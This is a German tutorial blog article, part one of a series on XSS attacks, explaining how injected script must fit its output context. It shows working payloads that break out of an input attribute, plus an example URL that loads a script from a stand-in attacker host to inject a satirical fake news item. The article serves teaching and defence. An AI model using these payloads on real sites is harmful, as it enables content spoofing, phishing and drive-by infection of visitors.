Dipl.-Inform. Carsten Eilers

Das klassische Beispiel für einen XSS-Angriff ist das Öffnen einer Alertbox. Allgemein erledigt dass das folgende script-Tag:

<script>alert("XSS!");</script>

Allerdings reicht es nicht, diese Zeile als Wert des für XSS anfälligen Parameters an die Webanwendung zu übergeben. Oft wird das zwar funktionieren, in vielen Fällen liegt dass aber nur daran, dass die Browser bei der Ausführung von JavaScript mehr als ein Auge zudrücken.

Der eingeschleuste Schadcode muss nämlich an den jeweiligen Ausgabeort angepasst werden. Das script-Tag funktioniert so nur, wenn es an einer Stelle ausgegeben wird, an der auch ein script-Tag stehen darf. Oft wird der Parameter in einem bestimmten Kontext ausgegeben, zum Beispiel als Teil eines Formulars. Das könnte zum Beispiel so aussehen:

<form action="skript.php">
   <label for="vorname">Vorname</label> 
   <input type="text" id="vorname" maxlength="30" value="[Wert des XSS-Parameters vorname]">
 
   <label for="nachname">Nachname</label>  
   <input type="text" id="nachname" maxlength="40" value="[Wert des XSS-Parameters nachname]">
   
   <button type="reset">Eingaben zurücksetzen</button>
   <button type="submit">Eingaben absenden</button>
</form>

Das script-Tag hätte laut HTML-Standards an der Stelle, an der die Webanwendung es einfügen würde, nichts zu suchen:

<form action="skript.php">
   <label for="vorname">Vorname</label> 
   <input type="text" id="vorname" maxlength="30" value="<script>alert("XSS!");</script>">
 
   <label for="nachname">Nachname</label>  
   <input type="text" id="nachname" maxlength="40" value="[Wert des XSS-Parameters nachname]">
   
   <button type="reset">Eingaben zurücksetzen</button>
   <button type="submit">Eingaben absenden</button>
</form>

Das script-Tag muss also um die nötigen Zeichen zum Schließen des vorhandenen input-Tags ergänzt werden:

nix"><script>alert("XSS!");</script>

Damit ergibt sich

<form action="skript.php">
   <label for="vorname">Vorname</label> 
   <input type="text" id="vorname" maxlength="30" value="nix"><script>alert("XSS!");</script>">
 
   <label for="nachname">Nachname</label>  
   <input type="text" id="nachname" maxlength="40" value="[Wert des XSS-Parameters nachname]">
   
   <button type="reset">Eingaben zurücksetzen</button>
   <button type="submit">Eingaben absenden</button>
</form>

Das Ergebnis ist zwar immer noch kein korrektes HTML, aber wenigstens tritt der Fehler erst nach dem eingeschleusten script-Tag auf und das wird deshalb vom Browser auf jeden Fall noch ausgeführt. Die Alertbox öffnet sich, und damit hat der Angreifer sein Ziel erreicht.

Bei Bedarf kann das, was auf den eingeschleusten Code folgt, auch auskommentiert werden. Dazu muss der eingeschleuste Code nur mit den Zeichen für den Beginn eines Kommentar, <!--, abgeschlossen werden.

Mit mehr oder weniger Aufwand kann aber eigentlich an fast jeder Stelle in der ausgegebenen HTML-Seite eingeschleuster Code zur Ausführung gebracht werden. Das Öffnen einer Alertbox ist ein guter Test, um zu prüfen, ob der Code wirklich ausgeführt wird. Ein tatsächlicher Angreifer würde aber andere Befehle einschleusen, zum Beispiel zur Anzeige gefälschter Informationen.

Der Klassiker: Inhalte einschleusen

Ein klassischer Angriff über XSS ist das Einschleusen "falscher" Inhalte. Das können zum Beispiel falsche Nachrichten sein, Phishing-Angriffe oder auch der Code für Drive-by-Infektionen (wofür aber meist andere Schwachstellen ausgenutzt werden).

Nehmen wir mal an, eine Webanwendung enthält eine reflektierte XSS-Schwachstelle in der Suchfunktion. Da die URL-Länge begrenzt ist, lässt sich darüber nur ein relativ kurzer Text einschleusen. Einfacher ist es daher meist, über die XSS-Schwachstelle nur ein script-Tag zum Laden einer JavaScript-Datei mit dem eigentlichen Angriffscode zu laden. Das könnte zum Beispiel so aussehen:

http://www.server.example/anwendung.php?suche=nix"><script src=http://www.angreifer.example/angriff.js></script><!--

Die Sonderzeichen wie < und > müssten noch hexadezimal oder URL-kodiert werden, so dass sie unverfälscht das Ziel erreichen. Darauf verzichte ich hier der Lesbarkeit wegen.

Die JavaScript-Datei mit den einzufügenden Informationen www.angreifer.example/angriff.js könnte zum Beispiel so aussehen:

document.write('<p align=left>Donnerstag, 16. April 2015</p>');
document.write('<p align=center><b>Apple stellt iCar vor!</b></p>'); 
document.write('<p><b>Insider: "Dieses Auto wird den Individualverkehr 
     revolutionieren!"</b></p>'); 
document.write('<p>Heute Vormittag um 10:00 Uhr (Ortszeit Cappuccino) 
     wird Apple das neue iCar der Presse präsentieren.</p>');
document.write('<p>Das revolutionäre Konzept verbindet eine kurze 
     Akkulaufzeit mit einer langen Leitung und geringer Geschwindigkeit,
     um eine lange Fahrzeit des neuen Elektromobils zu erreichen. Die
     Steuerung erfolgt über eine App für das separat zu erwerbende iPhone
     6.</p>');
document.write('<p>In Deutschland wird das iCar vorerst nicht zu erwerben
     sein, da der Fahrer es auf Grund des geltenden Handy-Verbots am Steuer
     nicht bedienen darf. Die Bundesregierung hat aber bereits eine Anpassung
     des Gesetzes in Aussicht gestellt, so dass die Nutzung eines Smartphones
     zur Steuerung des Fahrzeugs zulässig ist.</p>');
document.write('<p>Ein Sprecher der Bundesregierung begründete dies damit, 
     dass das Handy-Verbot ja am Steuer gelte, das iCar aber gar kein Lenkrad
     habe. <cite>"Wenn das Handy das Lenkrad ersetzt, darf es auch nach der
     aktuellen Rechtslage natürlich während der Fahrt benutzt werden."</cite> 
     Unklar ist allerdings, ob das auch für Beschleunigen und Abbremsen gilt. 
     Daher soll das geänderte Gesetz in diesen Punkten für eine Klarstellung 
     sorgen.</p>');

Diese Datei würde den folgenden Text in die Webseite einfügen:

Donnerstag, 16. April 2015

Apple stellt iCar vor!

Insider: "Dieses Auto wird den Individualverkehr revolutionieren!"

Heute Vormittag um 10:00 Uhr (Ortszeit Cappuccino) wird Apple das neue iCar der Presse präsentieren.

Das revolutionäre Konzept verbindet eine kurze Akkulaufzeit mit einer langen Leitung und geringer Geschwindigkeit, um eine lange Fahrzeit des neuen Elektromobils zu erreichen. Die Steuerung erfolgt über eine App für das separat zu erwerbende iPhone 6.

In Deutschland wird das iCar vorerst nicht zu erwerben sein, da der Fahrer es auf Grund des geltenden Handy-Verbots am Steuer nicht bedienen darf. Die Bundesregierung hat aber bereits eine Anpassung des Gesetzes in Aussicht gestellt, so dass die Nutzung eines Smartphones zur Steuerung des Fahrzeugs zulässig ist.

Ein Sprecher der Bundesregierung begründete dies damit, dass das Handy-Verbot ja am Steuer gelte, das iCar aber gar kein Lenkrad habe. "Wenn das Handy das Lenkrad ersetzt, darf es auch nach der aktuellen Rechtslage natürlich während der Fahrt benutzt werden." Unklar ist allerdings, ob das auch für Beschleunigen und Abbremsen gilt. Daher soll das geänderte Gesetz in diesen Punkten für eine Klarstellung sorgen.

Die Verabschiedung des angepassten Gesetzes ist schon für die nächste Woche geplant. Informierte Kreise berichten, dass Apple der Bundesregierung einige iCars auf unbefristete Zeit zu Probezwecken zur Verfügung gestellt hat und viele Regierungsmitglieder bereits darauf brennen, die Fahrzeug ausgiebig zu testen. Gerüchte, dass dies die Veröffentlichung des geänderten Handy-Verbots beschleunigt haben soll, wurden von Sprechern der zuständigen Ministerien energisch bestritten. "Das sind keine Gerüchte. Wer das behauptet, lügt!" ...

Je nach Seriosität der angegriffenen Website könne so eine gefälschte Nachricht durchaus für Verwirrung sorgen. Oder noch schlimmere Folgen haben.

Schon das Einfügen von Inhalten in eine Webseite kann also für Schaden sorgen. Zum Beispiel, indem gefälschte Informationen zur Manipulation von Aktienkursen genutzt werden. Oder indem ein Phishing-Angriff in die Website eingeschlesut wird, deren Zugangsdaten abgephisht werden sollen. Oder indem eine Drive-by-Infektion über eine persistente XSS-Schwachstelle auf einer vertrauenswürdigen Website verbreitet wird.

In der nächsten Folge geht es um gefährlichere Angriffe. Zum Beispiel des Ausspähen von Cookies.

Carsten Eilers

Übersicht über alle Artikel zum Thema

Cross-Site Scripting im Überblick, Teil 1: Reflektiertes XSS

Cross-Site Scripting im Überblick, Teil 2: Persistentes XSS

Cross-Site Scripting im Überblick, Teil 3: Der MySpace-Wurm Samy

Angriffe über Cross-Site Scripting: Der Sourcecode des MySpace-Wurms Samy

Cross-Site Scripting im Überblick, Teil 4: DOM-basiertes XSS

Cross-Site Scripting im Überblick, Teil 5: Resident XSS

XSS-Angriffe, Teil 1: Informationen einschleusen

XSS-Angriffe, Teil 2: Cookies und Tastendrücke ausspähen

XSS-Angriffe, Teil 3: Zugangsdaten ausspähen

XSS-Angriffe, Teil 4: Ein Blick in die History, und dann auf ins LAN!

XSS-Angriffe, Teil 5: Ein Portscan (nicht nur) im LAN

XSS-Angriffe, Teil 6: Ein verbesserter Portscanner

XSS-Angriffe, Teil 7: Hindernisse beim JavaScript-Portscan beseitigen

XSS-Angriffe, Teil 8: Ein Portscan mit WebSockets oder Cross-Origin Requests

XSS-Angriffe, Teil 9: Der Router im Visier

XSS-Angriffe, Teil 10: Weitere Angriffe auf den Router

XSS-Angriffe, Teil 11: Unerwünschtes Firmware-Update für den Router

XSS-Angriffe, Teil 12: Browser-basierte Botnets

XSS-Angriffe, Teil 13: Fortgeschrittene Angriffe

XSS-Angriffe, Teil 14: Das Browser Exploitation Framework BeEF